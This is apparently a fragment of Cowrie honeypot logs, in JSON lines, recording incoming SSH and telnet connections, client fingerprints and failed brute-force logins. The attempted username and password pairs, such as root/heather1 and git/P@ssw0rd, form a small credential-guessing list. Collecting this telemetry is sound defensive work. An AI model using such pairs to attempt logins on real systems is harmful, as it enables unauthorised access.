eyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:35.808500Z","src_ip":"196.196.150.5","session":"87ce478c85cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":56636,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fc11ebe23fc","protocol":"telnet","message":"New connection: 170.64.224.25:56636 (159.203.135.109:23) [session: 8fc11ebe23fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:36.096180Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ll","message":"login attempt [root/ll] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:36.268824Z","src_ip":"196.196.150.5","session":"87ce478c85cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:37.378475Z","src_ip":"196.196.150.5","session":"87ce478c85cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.116.254.157","src_port":37646,"dst_ip":"10.17.0.5","dst_port":22,"session":"62650c279b59","protocol":"ssh","message":"New connection: 154.116.254.157:37646 (10.17.0.5:22) [session: 62650c279b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:41.139763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:41.149577Z","src_ip":"154.116.254.157","session":"62650c279b59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:41.315825Z","src_ip":"154.116.254.157","session":"62650c279b59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.205.122.34","src_port":10245,"dst_ip":"159.203.135.109","dst_port":22,"session":"c368aa48c488","protocol":"ssh","message":"New connection: 220.205.122.34:10245 (159.203.135.109:22) [session: c368aa48c488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:41.528939Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"heather1","message":"login attempt [root/heather1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:42.014417Z","src_ip":"154.116.254.157","session":"62650c279b59","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:43.048034Z","src_ip":"220.205.122.34","session":"c368aa48c488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:43.050609Z","src_ip":"220.205.122.34","session":"c368aa48c488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:43.184848Z","src_ip":"154.116.254.157","session":"62650c279b59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.1.218","src_port":51590,"dst_ip":"10.17.0.5","dst_port":22,"session":"b408cd154c96","protocol":"ssh","message":"New connection: 163.7.1.218:51590 (10.17.0.5:22) [session: b408cd154c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:48.393428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:48.396969Z","src_ip":"163.7.1.218","session":"b408cd154c96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:48.646216Z","src_ip":"163.7.1.218","session":"b408cd154c96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xp123456","message":"login attempt [root/Xp123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:49.678568Z","src_ip":"163.7.1.218","session":"b408cd154c96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:50.931594Z","src_ip":"163.7.1.218","session":"b408cd154c96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.143.200.246","src_port":50926,"dst_ip":"10.17.0.5","dst_port":22,"session":"898672fdb926","protocol":"ssh","message":"New connection: 45.143.200.246:50926 (10.17.0.5:22) [session: 898672fdb926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:52.648076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:52.651739Z","src_ip":"45.143.200.246","session":"898672fdb926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:52.752464Z","src_ip":"45.143.200.246","session":"898672fdb926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"admin","message":"login attempt [abc/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:53.190154Z","src_ip":"45.143.200.246","session":"898672fdb926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:54.293861Z","src_ip":"45.143.200.246","session":"898672fdb926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.152.168.184","src_port":58676,"dst_ip":"159.203.135.109","dst_port":22,"session":"6de50556270c","protocol":"ssh","message":"New connection: 59.152.168.184:58676 (159.203.135.109:22) [session: 6de50556270c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:58.038415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:58.042438Z","src_ip":"59.152.168.184","session":"6de50556270c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:58.242328Z","src_ip":"59.152.168.184","session":"6de50556270c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kc123456","message":"login attempt [root/Kc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:13:59.071723Z","src_ip":"59.152.168.184","session":"6de50556270c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:00.273743Z","src_ip":"59.152.168.184","session":"6de50556270c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:08.572431Z","src_ip":"8.210.75.243","session":"c9a59b23024a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52096,"dst_ip":"159.203.135.109","dst_port":23,"session":"40f2b546f76b","protocol":"telnet","message":"New connection: 170.64.224.25:52096 (159.203.135.109:23) [session: 40f2b546f76b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:11.497149Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":34822,"dst_ip":"10.17.0.5","dst_port":22,"session":"41707982de44","protocol":"ssh","message":"New connection: 91.92.40.4:34822 (10.17.0.5:22) [session: 41707982de44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:12.035512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:12.038635Z","src_ip":"91.92.40.4","session":"41707982de44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:12.118695Z","src_ip":"91.92.40.4","session":"41707982de44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"P@ssw0rd","message":"login attempt [git/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:12.368266Z","src_ip":"91.92.40.4","session":"41707982de44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:13.450789Z","src_ip":"91.92.40.4","session":"41707982de44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52100,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5f0e1520b37","protocol":"telnet","message":"New connection: 170.64.224.25:52100 (159.203.135.109:23) [session: e5f0e1520b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:16.137692Z"}
{"eventid":"cowrie.session.closed","duration":42.16752910614014,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:18.263566Z","src_ip":"170.64.224.25","session":"8fc11ebe23fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50158,"dst_ip":"159.203.135.109","dst_port":23,"session":"3df703718db4","protocol":"telnet","message":"New connection: 170.64.224.25:50158 (159.203.135.109:23) [session: 3df703718db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:21.898817Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.101.25","src_port":38612,"dst_ip":"159.203.135.109","dst_port":22,"session":"a036aa2b4de8","protocol":"ssh","message":"New connection: 103.97.101.25:38612 (159.203.135.109:22) [session: a036aa2b4de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:30.570089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:30.573938Z","src_ip":"103.97.101.25","session":"a036aa2b4de8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:30.810813Z","src_ip":"103.97.101.25","session":"a036aa2b4de8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":42326,"dst_ip":"159.203.135.109","dst_port":22,"session":"e09ed95e4a3c","protocol":"ssh","message":"New connection: 159.65.58.200:42326 (159.203.135.109:22) [session: e09ed95e4a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:31.199813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:31.388945Z","src_ip":"159.65.58.200","session":"e09ed95e4a3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:31.391745Z","src_ip":"159.65.58.200","session":"e09ed95e4a3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yy123456!","message":"login attempt [root/Yy123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:14:31.794979Z","src_ip":"103.97.101.25","session":"a036aa2b4de8","protocol":"ssh"}
